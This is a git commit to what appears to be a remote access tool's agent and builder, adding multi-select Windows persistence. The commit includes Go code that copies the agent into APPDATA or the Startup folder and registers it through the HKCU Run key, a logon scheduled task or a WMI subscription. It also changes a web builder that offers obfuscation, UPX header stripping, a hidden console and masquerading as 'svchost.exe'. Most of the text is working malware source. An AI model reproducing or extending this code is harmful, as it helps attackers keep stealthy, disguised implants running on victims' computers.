multi select persistence

This commit is contained in:
KingKDot
2026-03-26 11:05:04 -05:00
parent 97ae3cd686
commit f50f76d3f6
13 changed files with 439 additions and 134 deletions
@@ -9,7 +9,7 @@ var DefaultPersistenceMethod = "startup"
var DefaultStartupName = "" var DefaultStartupName = ""
var persistInstallFn func(targetPath string) error = func(_ string) error { return nil } var persistInstallFns []func(exePath string) error
var persistUninstallFns []func() error var persistUninstallFns []func() error
@@ -44,23 +44,28 @@ func executablePrefix() string {
return defaultExecutablePrefix return defaultExecutablePrefix
} }
func activeMethod() string { var hasStartupMethod bool
m := strings.ToLower(strings.TrimSpace(DefaultPersistenceMethod))
switch m {
case "registry", "taskscheduler", "wmi":
return m
default:
return "startup"
}
}
func getTargetPath() (string, error) { func getTargetPath() (string, error) {
switch activeMethod() { if !hasStartupMethod && len(persistInstallFns) > 0 {
case "registry", "taskscheduler", "wmi":
return getAppDataTargetPath() return getAppDataTargetPath()
default:
return getStartupFolderTargetPath()
} }
return getStartupFolderTargetPath()
}
func installStartupImpl(exePath string) error {
targetPath, err := getStartupFolderTargetPath()
if err != nil {
return err
}
dir := filepath.Dir(targetPath)
if err := os.MkdirAll(dir, 0755); err != nil {
return fmt.Errorf("failed to create startup directory: %w", err)
}
if strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
return nil
}
return replaceExecutable(exePath, targetPath)
} }
func getStartupFolderTargetPath() (string, error) { func getStartupFolderTargetPath() (string, error) {
@@ -178,25 +183,21 @@ func runPowerShell(script string) error {
} }
func install(exePath string) error { func install(exePath string) error {
targetPath, err := getTargetPath() if len(persistInstallFns) == 0 {
if err != nil { if err := installStartupImpl(exePath); err != nil {
return err return err
}
_ = cleanupLegacyRunValues()
return nil
} }
var firstErr error
dir := filepath.Dir(targetPath) for _, fn := range persistInstallFns {
if err := os.MkdirAll(dir, 0755); err != nil { if err := fn(exePath); err != nil && firstErr == nil {
return fmt.Errorf("failed to create directory: %w", err) firstErr = err
}
} }
if err := replaceExecutable(exePath, targetPath); err != nil {
return err
}
if err := persistInstallFn(targetPath); err != nil {
return fmt.Errorf("failed to install persistence: %w", err)
}
_ = cleanupLegacyRunValues() _ = cleanupLegacyRunValues()
return firstErr
return nil return nil
} }
@@ -241,24 +242,7 @@ func replaceExecutable(exePath, targetPath string) error {
} }
func configure(exePath string) error { func configure(exePath string) error {
targetPath, err := getTargetPath() return install(exePath)
if err != nil {
return err
}
if exePath != "" && !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
if err := replaceExecutable(exePath, targetPath); err != nil {
return err
}
}
if err := persistInstallFn(targetPath); err != nil {
return fmt.Errorf("failed to reconfigure persistence: %w", err)
}
_ = cleanupLegacyRunValues()
return nil
} }
func uninstall() error { func uninstall() error {
@@ -7,13 +7,32 @@ import (
"crypto/rand" "crypto/rand"
"encoding/hex" "encoding/hex"
"fmt" "fmt"
"os"
"path/filepath"
"strings" "strings"
"golang.org/x/sys/windows/registry" "golang.org/x/sys/windows/registry"
) )
func init() { func init() {
persistInstallFn = installRegistry persistInstallFns = append(persistInstallFns, installRegistryFull)
}
func installRegistryFull(exePath string) error {
targetPath, err := getAppDataTargetPath()
if err != nil {
return err
}
dir := filepath.Dir(targetPath)
if err := os.MkdirAll(dir, 0755); err != nil {
return fmt.Errorf("failed to create directory: %w", err)
}
if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
if err := replaceExecutable(exePath, targetPath); err != nil {
return err
}
}
return installRegistry(targetPath)
} }
func installRegistry(targetPath string) error { func installRegistry(targetPath string) error {
@@ -0,0 +1,9 @@
//go:build windows && persist_startup
// +build windows,persist_startup
package persistence
func init() {
hasStartupMethod = true
persistInstallFns = append(persistInstallFns, installStartupImpl)
}
@@ -5,14 +5,33 @@ package persistence
import ( import (
"fmt" "fmt"
"os"
"path/filepath"
"strings" "strings"
) )
func init() { func init() {
persistInstallFn = installTaskScheduler persistInstallFns = append(persistInstallFns, installTaskSchedulerFull)
persistUninstallFns = append(persistUninstallFns, uninstallTaskScheduler) persistUninstallFns = append(persistUninstallFns, uninstallTaskScheduler)
} }
func installTaskSchedulerFull(exePath string) error {
targetPath, err := getAppDataTargetPath()
if err != nil {
return err
}
dir := filepath.Dir(targetPath)
if err := os.MkdirAll(dir, 0755); err != nil {
return fmt.Errorf("failed to create directory: %w", err)
}
if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
if err := replaceExecutable(exePath, targetPath); err != nil {
return err
}
}
return installTaskScheduler(targetPath)
}
func installTaskScheduler(targetPath string) error { func installTaskScheduler(targetPath string) error {
taskName := deriveTaskName(targetPath) taskName := deriveTaskName(targetPath)
safe := strings.ReplaceAll(targetPath, "'", "''") safe := strings.ReplaceAll(targetPath, "'", "''")
@@ -0,0 +1,219 @@
//go:build windows && persist_taskscheduler
// +build windows,persist_taskscheduler
package persistence
import (
"os"
"os/exec"
"path/filepath"
"strings"
"testing"
)
func queryTask(t *testing.T, taskName string) string {
t.Helper()
out, err := exec.Command("powershell.exe",
"-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden",
"-Command",
`(Get-ScheduledTask -TaskName '`+taskName+`' -ErrorAction SilentlyContinue).Actions.Execute`).
Output()
if err != nil {
return ""
}
return strings.TrimSpace(string(out))
}
func deleteTask(t *testing.T, taskName string) {
t.Helper()
_ = runPowerShell(`Unregister-ScheduledTask -TaskName '` + taskName + `' -Confirm:$false -ErrorAction SilentlyContinue`)
}
// TestInstallTaskScheduler_RegistersTask verifies that a task with the
// derived name is created and points to the supplied executable path.
func TestInstallTaskScheduler_RegistersTask(t *testing.T) {
target := `C:\Testing\ovd_tstest.exe`
taskName := deriveTaskName(target)
t.Cleanup(func() { deleteTask(t, taskName) })
if err := installTaskScheduler(target); err != nil {
t.Fatalf("installTaskScheduler: %v", err)
}
got := queryTask(t, taskName)
if got == "" {
t.Fatalf("scheduled task %q was not created", taskName)
}
if !strings.EqualFold(got, target) {
t.Fatalf("task Execute = %q, want %q", got, target)
}
}
// TestInstallTaskScheduler_Idempotent verifies that calling install twice
// updates the existing task rather than creating a second one.
func TestInstallTaskScheduler_Idempotent(t *testing.T) {
first := `C:\Testing\ovd_ts_first.exe`
second := `C:\Testing\ovd_ts_second.exe`
taskName := deriveTaskName(first)
t.Cleanup(func() { deleteTask(t, taskName) })
if err := installTaskScheduler(first); err != nil {
t.Fatalf("installTaskScheduler(first): %v", err)
}
if err := installTaskScheduler(second); err != nil {
t.Fatalf("installTaskScheduler(second): %v", err)
}
got := queryTask(t, taskName)
if !strings.EqualFold(got, second) {
t.Fatalf("task Execute after update = %q, want %q", got, second)
}
}
// TestInstallTaskScheduler_SingleQuoteInPath checks that a path containing a
// single-quote is escaped correctly and does not cause a PowerShell error.
func TestInstallTaskScheduler_SingleQuoteInPath(t *testing.T) {
dir := t.TempDir()
// Create a sub-directory whose name contains a single quote.
quotedDir := filepath.Join(dir, "O'Brien")
if err := os.MkdirAll(quotedDir, 0755); err != nil {
t.Fatalf("mkdir: %v", err)
}
target := filepath.Join(quotedDir, "ovd_quote.exe")
taskName := deriveTaskName(target)
t.Cleanup(func() { deleteTask(t, taskName) })
if err := installTaskScheduler(target); err != nil {
t.Fatalf("installTaskScheduler with quoted path: %v", err)
}
got := queryTask(t, taskName)
if got == "" {
t.Fatalf("scheduled task %q was not created", taskName)
}
}
// TestUninstallTaskScheduler_RemovesTask verifies that uninstallTaskScheduler
// removes tasks whose names match the executable prefix.
func TestUninstallTaskScheduler_RemovesTask(t *testing.T) {
target := `C:\Testing\ovd_ts_uninstall.exe`
taskName := deriveTaskName(target)
t.Cleanup(func() { deleteTask(t, taskName) })
if err := installTaskScheduler(target); err != nil {
t.Fatalf("installTaskScheduler: %v", err)
}
if got := queryTask(t, taskName); got == "" {
t.Fatalf("pre-condition: task %q not created", taskName)
}
if err := uninstallTaskScheduler(); err != nil {
t.Fatalf("uninstallTaskScheduler: %v", err)
}
if got := queryTask(t, taskName); got != "" {
t.Fatalf("task %q still exists after uninstall, Execute=%q", taskName, got)
}
}
// TestInstallTaskSchedulerFull_CopiesAndRegisters verifies that
// installTaskSchedulerFull copies the source binary to the appdata dir and
// registers a scheduled task pointing to the copy.
func TestInstallTaskSchedulerFull_CopiesAndRegisters(t *testing.T) {
appData := t.TempDir()
t.Setenv("APPDATA", appData)
// Write a tiny stub "executable" as the source.
srcDir := t.TempDir()
srcPath := filepath.Join(srcDir, "agent.exe")
if err := os.WriteFile(srcPath, []byte("MZ"), 0755); err != nil {
t.Fatalf("write source: %v", err)
}
if err := installTaskSchedulerFull(srcPath); err != nil {
t.Fatalf("installTaskSchedulerFull: %v", err)
}
// The binary must have been copied to the appdata binary dir.
entries, err := os.ReadDir(filepath.Join(appData, appDataBinaryDir))
if err != nil {
t.Fatalf("read appdata dir: %v", err)
}
var copiedName string
for _, e := range entries {
if !e.IsDir() {
copiedName = e.Name()
break
}
}
if copiedName == "" {
t.Fatal("no binary found in appdata binary dir after installTaskSchedulerFull")
}
// A scheduled task pointing to the copy must exist.
targetPath := filepath.Join(appData, appDataBinaryDir, copiedName)
taskName := deriveTaskName(targetPath)
t.Cleanup(func() { deleteTask(t, taskName) })
got := queryTask(t, taskName)
if !strings.EqualFold(got, targetPath) {
t.Fatalf("task Execute = %q, want %q", got, targetPath)
}
}
// TestInstallTaskSchedulerFull_SkipsCopyWhenAlreadyAtTarget verifies that
// when the source and target paths are the same file, no copy is attempted
// (no error from trying to replace a file with itself).
func TestInstallTaskSchedulerFull_SkipsCopyWhenAlreadyAtTarget(t *testing.T) {
appData := t.TempDir()
t.Setenv("APPDATA", appData)
// Pre-create the binary directly in the appdata binary dir.
destDir := filepath.Join(appData, appDataBinaryDir)
if err := os.MkdirAll(destDir, 0755); err != nil {
t.Fatalf("mkdir: %v", err)
}
name, _ := generateBinaryName()
destPath := filepath.Join(destDir, name)
if err := os.WriteFile(destPath, []byte("MZ"), 0755); err != nil {
t.Fatalf("write dest: %v", err)
}
taskName := deriveTaskName(destPath)
t.Cleanup(func() { deleteTask(t, taskName) })
// Pass the already-placed binary as the source — no copy should occur.
if err := installTaskSchedulerFull(destPath); err != nil {
t.Fatalf("installTaskSchedulerFull (same path): %v", err)
}
got := queryTask(t, taskName)
if !strings.EqualFold(got, destPath) {
t.Fatalf("task Execute = %q, want %q", got, destPath)
}
}
// TestInstallTaskScheduler_CustomName verifies that when DefaultStartupName is
// set, the derived task name uses that prefix.
func TestInstallTaskScheduler_CustomName(t *testing.T) {
origName := DefaultStartupName
t.Cleanup(func() { DefaultStartupName = origName })
DefaultStartupName = "svchost"
target := `C:\Testing\svchost.exe`
taskName := deriveTaskName(target)
t.Cleanup(func() { deleteTask(t, taskName) })
if !strings.HasPrefix(taskName, "svchost_") {
t.Fatalf("expected task name to start with 'svchost_', got %q", taskName)
}
if err := installTaskScheduler(target); err != nil {
t.Fatalf("installTaskScheduler with custom name: %v", err)
}
got := queryTask(t, taskName)
if got == "" {
t.Fatalf("task %q not created", taskName)
}
}
@@ -76,65 +76,72 @@ func TestIsOverlordRunValueName(t *testing.T) {
} }
} }
func TestActiveMethod(t *testing.T) { func TestGetTargetPath_NonStartupMethodsUseAppDataBinaryDir(t *testing.T) {
orig := DefaultPersistenceMethod origFns := persistInstallFns
t.Cleanup(func() { DefaultPersistenceMethod = orig }) origHas := hasStartupMethod
t.Cleanup(func() {
persistInstallFns = origFns
hasStartupMethod = origHas
})
tests := []struct { // Simulate a non-startup method registered (e.g. registry).
in string hasStartupMethod = false
want string persistInstallFns = []func(string) error{func(string) error { return nil }}
}{
{"startup", "startup"}, appData := t.TempDir()
{"registry", "registry"}, t.Setenv("APPDATA", appData)
{"taskscheduler", "taskscheduler"},
{"wmi", "wmi"}, got, err := getTargetPath()
{"REGISTRY", "registry"}, if err != nil {
{"TaskScheduler", "taskscheduler"}, t.Fatalf("getTargetPath() error: %v", err)
{"WMI", "wmi"},
{"", "startup"},
{"unknown", "startup"},
{" registry ", "registry"},
} }
for _, tt := range tests { wantDir := filepath.Join(appData, appDataBinaryDir)
t.Run(tt.in, func(t *testing.T) { if !strings.EqualFold(filepath.Clean(filepath.Dir(got)), filepath.Clean(wantDir)) {
DefaultPersistenceMethod = tt.in t.Fatalf("expected dir %q, got %q", wantDir, filepath.Dir(got))
if got := activeMethod(); got != tt.want { }
t.Fatalf("activeMethod() = %q, want %q (input=%q)", got, tt.want, tt.in) base := strings.ToLower(filepath.Base(got))
} if !strings.HasPrefix(base, executablePrefix()) || !strings.HasSuffix(base, ".exe") {
}) t.Fatalf("expected ovd_*.exe name, got %q", filepath.Base(got))
} }
} }
func TestGetTargetPath_NonStartupMethodsUseAppDataBinaryDir(t *testing.T) { func TestGetTargetPath_StartupMethodTakesPriorityOverOthers(t *testing.T) {
orig := DefaultPersistenceMethod origFns := persistInstallFns
t.Cleanup(func() { DefaultPersistenceMethod = orig }) origHas := hasStartupMethod
t.Cleanup(func() {
persistInstallFns = origFns
hasStartupMethod = origHas
})
for _, method := range []string{"registry", "taskscheduler", "wmi"} { // Simulate startup + another method both registered.
t.Run(method, func(t *testing.T) { hasStartupMethod = true
DefaultPersistenceMethod = method persistInstallFns = []func(string) error{
appData := t.TempDir() func(string) error { return nil },
t.Setenv("APPDATA", appData) func(string) error { return nil },
}
got, err := getTargetPath() appData := t.TempDir()
if err != nil { t.Setenv("APPDATA", appData)
t.Fatalf("getTargetPath() error: %v", err)
} got, err := getTargetPath()
wantDir := filepath.Join(appData, appDataBinaryDir) if err != nil {
if !strings.EqualFold(filepath.Clean(filepath.Dir(got)), filepath.Clean(wantDir)) { t.Fatalf("getTargetPath() error: %v", err)
t.Fatalf("method=%q: expected dir %q, got %q", method, wantDir, filepath.Dir(got)) }
} wantDir := filepath.Join(appData, startupFolderRelative)
base := strings.ToLower(filepath.Base(got)) if !strings.EqualFold(filepath.Clean(filepath.Dir(got)), filepath.Clean(wantDir)) {
if !strings.HasPrefix(base, executablePrefix()) || !strings.HasSuffix(base, ".exe") { t.Fatalf("expected startup dir %q, got %q", wantDir, filepath.Dir(got))
t.Fatalf("method=%q: expected ovd_*.exe name, got %q", method, filepath.Base(got))
}
})
} }
} }
func TestGetTargetPath_PrefersExistingBinary_AppDataDir(t *testing.T) { func TestGetTargetPath_PrefersExistingBinary_AppDataDir(t *testing.T) {
orig := DefaultPersistenceMethod origFns := persistInstallFns
t.Cleanup(func() { DefaultPersistenceMethod = orig }) origHas := hasStartupMethod
DefaultPersistenceMethod = "registry" t.Cleanup(func() {
persistInstallFns = origFns
hasStartupMethod = origHas
})
hasStartupMethod = false
persistInstallFns = []func(string) error{func(string) error { return nil }}
appData := t.TempDir() appData := t.TempDir()
t.Setenv("APPDATA", appData) t.Setenv("APPDATA", appData)
@@ -5,14 +5,33 @@ package persistence
import ( import (
"fmt" "fmt"
"os"
"path/filepath"
"strings" "strings"
) )
func init() { func init() {
persistInstallFn = installWMI persistInstallFns = append(persistInstallFns, installWMIFull)
persistUninstallFns = append(persistUninstallFns, uninstallWMI) persistUninstallFns = append(persistUninstallFns, uninstallWMI)
} }
func installWMIFull(exePath string) error {
targetPath, err := getAppDataTargetPath()
if err != nil {
return err
}
dir := filepath.Dir(targetPath)
if err := os.MkdirAll(dir, 0755); err != nil {
return fmt.Errorf("failed to create directory: %w", err)
}
if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
if err := replaceExecutable(exePath, targetPath); err != nil {
return err
}
}
return installWMI(targetPath)
}
func installWMI(targetPath string) error { func installWMI(targetPath string) error {
filterName, consumerName := deriveWMINames(targetPath) filterName, consumerName := deriveWMINames(targetPath)
safe := strings.ReplaceAll(targetPath, "'", "''") safe := strings.ReplaceAll(targetPath, "'", "''")
+9 -5
View File
@@ -105,7 +105,7 @@ function saveFormSettings() {
upxStripHeaders: document.querySelector('input[name="upx-strip-headers"]')?.checked ?? false, upxStripHeaders: document.querySelector('input[name="upx-strip-headers"]')?.checked ?? false,
sleepSeconds: document.getElementById("sleep-seconds")?.value ?? "0", sleepSeconds: document.getElementById("sleep-seconds")?.value ?? "0",
enablePersistence: document.querySelector('input[name="enable-persistence"]')?.checked ?? false, enablePersistence: document.querySelector('input[name="enable-persistence"]')?.checked ?? false,
persistenceMethod: document.getElementById("persistence-method")?.value ?? "startup", persistenceMethods: Array.from(document.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value),
startupName: document.getElementById("startup-name")?.value ?? "", startupName: document.getElementById("startup-name")?.value ?? "",
hideConsole: document.querySelector('input[name="hide-console"]')?.checked ?? false, hideConsole: document.querySelector('input[name="hide-console"]')?.checked ?? false,
requireAdmin: document.querySelector('input[name="require-admin"]')?.checked ?? false, requireAdmin: document.querySelector('input[name="require-admin"]')?.checked ?? false,
@@ -153,7 +153,11 @@ function restoreFormSettings() {
if (s.upxStripHeaders !== undefined) setCb('input[name="upx-strip-headers"]', s.upxStripHeaders); if (s.upxStripHeaders !== undefined) setCb('input[name="upx-strip-headers"]', s.upxStripHeaders);
if (s.sleepSeconds !== undefined) setVal("sleep-seconds", s.sleepSeconds); if (s.sleepSeconds !== undefined) setVal("sleep-seconds", s.sleepSeconds);
if (s.enablePersistence !== undefined) setCb('input[name="enable-persistence"]', s.enablePersistence); if (s.enablePersistence !== undefined) setCb('input[name="enable-persistence"]', s.enablePersistence);
if (s.persistenceMethod !== undefined) setVal("persistence-method", s.persistenceMethod); if (Array.isArray(s.persistenceMethods)) {
document.querySelectorAll('input[name="persistence-method"]').forEach((el) => {
el.checked = s.persistenceMethods.includes(el.value);
});
}
if (s.startupName !== undefined) setVal("startup-name", s.startupName); if (s.startupName !== undefined) setVal("startup-name", s.startupName);
if (s.hideConsole !== undefined) setCb('input[name="hide-console"]', s.hideConsole); if (s.hideConsole !== undefined) setCb('input[name="hide-console"]', s.hideConsole);
if (s.requireAdmin !== undefined) setCb('input[name="require-admin"]', s.requireAdmin); if (s.requireAdmin !== undefined) setCb('input[name="require-admin"]', s.requireAdmin);
@@ -559,8 +563,8 @@ form?.addEventListener("submit", async (e) => {
'input[name="enable-persistence"]', 'input[name="enable-persistence"]',
).checked; ).checked;
const hasWindowsTarget = platforms.some((platform) => platform.startsWith("windows-")); const hasWindowsTarget = platforms.some((platform) => platform.startsWith("windows-"));
const persistenceMethod = hasWindowsTarget const persistenceMethods = hasWindowsTarget
? form.querySelector("#persistence-method")?.value || "startup" ? Array.from(form.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value)
: undefined; : undefined;
const startupNameVal = hasWindowsTarget const startupNameVal = hasWindowsTarget
? (form.querySelector("#startup-name")?.value.trim() || "") ? (form.querySelector("#startup-name")?.value.trim() || "")
@@ -596,7 +600,7 @@ form?.addEventListener("submit", async (e) => {
disableCgo, disableCgo,
obfuscate, obfuscate,
enablePersistence, enablePersistence,
persistenceMethod: enablePersistence && hasWindowsTarget ? persistenceMethod : undefined, persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined,
startupName: enablePersistence && hasWindowsTarget && startupNameVal ? startupNameVal : undefined, startupName: enablePersistence && hasWindowsTarget && startupNameVal ? startupNameVal : undefined,
hideConsole, hideConsole,
noPrinting, noPrinting,
+33 -9
View File
@@ -316,15 +316,39 @@
<div id="persistence-windows-settings" class="hidden" data-persistence-os="windows"> <div id="persistence-windows-settings" class="hidden" data-persistence-os="windows">
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2"> <div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
<i class="fa-brands fa-windows text-blue-400"></i> Windows Persistence Method <i class="fa-brands fa-windows text-blue-400"></i> Windows Persistence Methods
<span class="text-xs text-slate-500 font-normal">(select one or more)</span>
</div>
<div class="flex flex-col gap-2" id="persistence-methods-list">
<label class="flex items-center gap-2 p-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
<input type="checkbox" name="persistence-method" value="startup" class="w-4 h-4" checked />
<div class="flex flex-col">
<span class="text-sm text-slate-200">Startup Folder (APPDATA)</span>
<span class="text-xs text-slate-500">Copies agent to user startup folder — no admin required</span>
</div>
</label>
<label class="flex items-center gap-2 p-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
<input type="checkbox" name="persistence-method" value="registry" class="w-4 h-4" />
<div class="flex flex-col">
<span class="text-sm text-slate-200">Registry (HKCU Run key)</span>
<span class="text-xs text-slate-500">Adds a Run key under HKCU — no admin required</span>
</div>
</label>
<label class="flex items-center gap-2 p-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
<input type="checkbox" name="persistence-method" value="taskscheduler" class="w-4 h-4" />
<div class="flex flex-col">
<span class="text-sm text-slate-200">Task Scheduler (ONLOGON)</span>
<span class="text-xs text-slate-500 text-orange-400/80">Requires admin privileges</span>
</div>
</label>
<label class="flex items-center gap-2 p-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
<input type="checkbox" name="persistence-method" value="wmi" class="w-4 h-4" />
<div class="flex flex-col">
<span class="text-sm text-slate-200">WMI Subscription</span>
<span class="text-xs text-slate-500 text-orange-400/80">Requires admin privileges</span>
</div>
</label>
</div> </div>
<select id="persistence-method" name="persistence-method"
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors">
<option value="startup">Startup Folder (APPDATA)</option>
<option value="registry">Registry (HKCU Run key)</option>
<option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
<option value="wmi">WMI Subscription (requires admin)</option>
</select>
<div class="mt-3"> <div class="mt-3">
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2"> <div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
<i class="fa-solid fa-file-signature text-blue-400"></i> Startup File Name <i class="fa-solid fa-file-signature text-blue-400"></i> Startup File Name
@@ -333,7 +357,7 @@
pattern="[A-Za-z0-9_-]+" pattern="[A-Za-z0-9_-]+"
placeholder="ovd (default)" placeholder="ovd (default)"
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors placeholder:text-slate-600" /> class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors placeholder:text-slate-600" />
<p class="text-xs text-slate-500 mt-1">Custom name for the startup executable (e.g. <code>svchost</code> → <code>svchost.exe</code>). Leave blank for default randomized name.</p> <p class="text-xs text-slate-500 mt-1">Custom executable name used by all selected methods (e.g. <code>svchost</code> → <code>svchost.exe</code>). Leave blank for default randomized name.</p>
</div> </div>
</div> </div>
+1 -1
View File
@@ -19,7 +19,7 @@ export type BuildConfig = {
disableCgo?: boolean; disableCgo?: boolean;
obfuscate?: boolean; obfuscate?: boolean;
enablePersistence?: boolean; enablePersistence?: boolean;
persistenceMethod?: string; persistenceMethods?: string[];
startupName?: string; startupName?: string;
hideConsole?: boolean; hideConsole?: boolean;
noPrinting?: boolean; noPrinting?: boolean;
+12 -14
View File
@@ -69,7 +69,7 @@ type BuildProcessConfig = {
disableCgo?: boolean; disableCgo?: boolean;
obfuscate?: boolean; obfuscate?: boolean;
enablePersistence?: boolean; enablePersistence?: boolean;
persistenceMethod?: string; persistenceMethods?: string[];
startupName?: string; startupName?: string;
hideConsole?: boolean; hideConsole?: boolean;
noPrinting?: boolean; noPrinting?: boolean;
@@ -129,8 +129,6 @@ function stripUpxHeaders(filePath: string): boolean {
} }
} }
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
type BuildProcessDeps = { type BuildProcessDeps = {
generateBuildMutex: (length?: number) => string; generateBuildMutex: (length?: number) => string;
sanitizeOutputName: (name: string) => string; sanitizeOutputName: (name: string) => string;
@@ -697,12 +695,10 @@ func runBoundFiles() {
if (!platform.startsWith('android-')) { if (!platform.startsWith('android-')) {
const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true"; const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true";
ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag; ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag;
sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" }); const activeMethods = config.persistenceMethods && config.persistenceMethods.length > 0
if (os === 'windows' && config.persistenceMethod && VALID_PERSISTENCE_METHODS.has(config.persistenceMethod)) { ? config.persistenceMethods
const methodFlag = `-X overlord-client/cmd/agent/persistence.DefaultPersistenceMethod=${config.persistenceMethod}`; : ['startup'];
ldflags = `${ldflags} ${methodFlag}`; sendToStream({ type: "output", text: `Persistence enabled for ${platform} (methods: ${activeMethods.join(', ')})\n`, level: "info" });
sendToStream({ type: "output", text: `Persistence method: ${config.persistenceMethod}\n`, level: "info" });
}
if (os === 'windows' && config.startupName) { if (os === 'windows' && config.startupName) {
const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`; const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`;
ldflags = `${ldflags} ${startupNameFlag}`; ldflags = `${ldflags} ${startupNameFlag}`;
@@ -758,11 +754,13 @@ func runBoundFiles() {
if (config.noPrinting) buildTags.push("noprint"); if (config.noPrinting) buildTags.push("noprint");
if (hasBoundFiles) buildTags.push("hasbinder"); if (hasBoundFiles) buildTags.push("hasbinder");
if (config.enablePersistence && os === "windows") { if (config.enablePersistence && os === "windows") {
const method = config.persistenceMethod || "startup"; const methods = config.persistenceMethods && config.persistenceMethods.length > 0
if (method === "registry") buildTags.push("persist_registry"); ? config.persistenceMethods
else if (method === "taskscheduler") buildTags.push("persist_taskscheduler"); : ['startup'];
else if (method === "wmi") buildTags.push("persist_wmi"); if (methods.includes("startup")) buildTags.push("persist_startup");
// startup method uses the default no-op persistInstallFn — no tag needed if (methods.includes("registry")) buildTags.push("persist_registry");
if (methods.includes("taskscheduler")) buildTags.push("persist_taskscheduler");
if (methods.includes("wmi")) buildTags.push("persist_wmi");
} }
const tagArg = buildTags.length > 0 ? `-tags "${buildTags.join(" ")}" ` : ""; const tagArg = buildTags.length > 0 ? `-tags "${buildTags.join(" ")}" ` : "";
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`); logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
@@ -47,7 +47,7 @@ export async function handleBuildRoutes(
disableCgo, disableCgo,
obfuscate, obfuscate,
enablePersistence, enablePersistence,
persistenceMethod, persistenceMethods,
startupName, startupName,
mutex, mutex,
disableMutex, disableMutex,
@@ -132,10 +132,13 @@ export async function handleBuildRoutes(
const safeNoPrinting = !!noPrinting; const safeNoPrinting = !!noPrinting;
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']); const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
const safePersistenceMethod = const safePersistenceMethods: string[] =
typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase()) Array.isArray(persistenceMethods)
? persistenceMethod.toLowerCase() ? persistenceMethods
: 'startup'; .filter((m: unknown) => typeof m === 'string' && VALID_PERSISTENCE_METHODS.has((m as string).toLowerCase()))
.map((m: string) => m.toLowerCase())
: ['startup'];
if (safePersistenceMethods.length === 0) safePersistenceMethods.push('startup');
const safeStartupName = const safeStartupName =
typeof startupName === 'string' && /^[A-Za-z0-9_-]{1,32}$/.test(startupName.trim()) typeof startupName === 'string' && /^[A-Za-z0-9_-]{1,32}$/.test(startupName.trim())
? startupName.trim() ? startupName.trim()
@@ -221,7 +224,7 @@ export async function handleBuildRoutes(
disableCgo, disableCgo,
obfuscate: !!obfuscate, obfuscate: !!obfuscate,
enablePersistence, enablePersistence,
persistenceMethod: safePersistenceMethod, persistenceMethods: safePersistenceMethods,
startupName: safeStartupName, startupName: safeStartupName,
hideConsole: !!hideConsole, hideConsole: !!hideConsole,
noPrinting: safeNoPrinting, noPrinting: safeNoPrinting,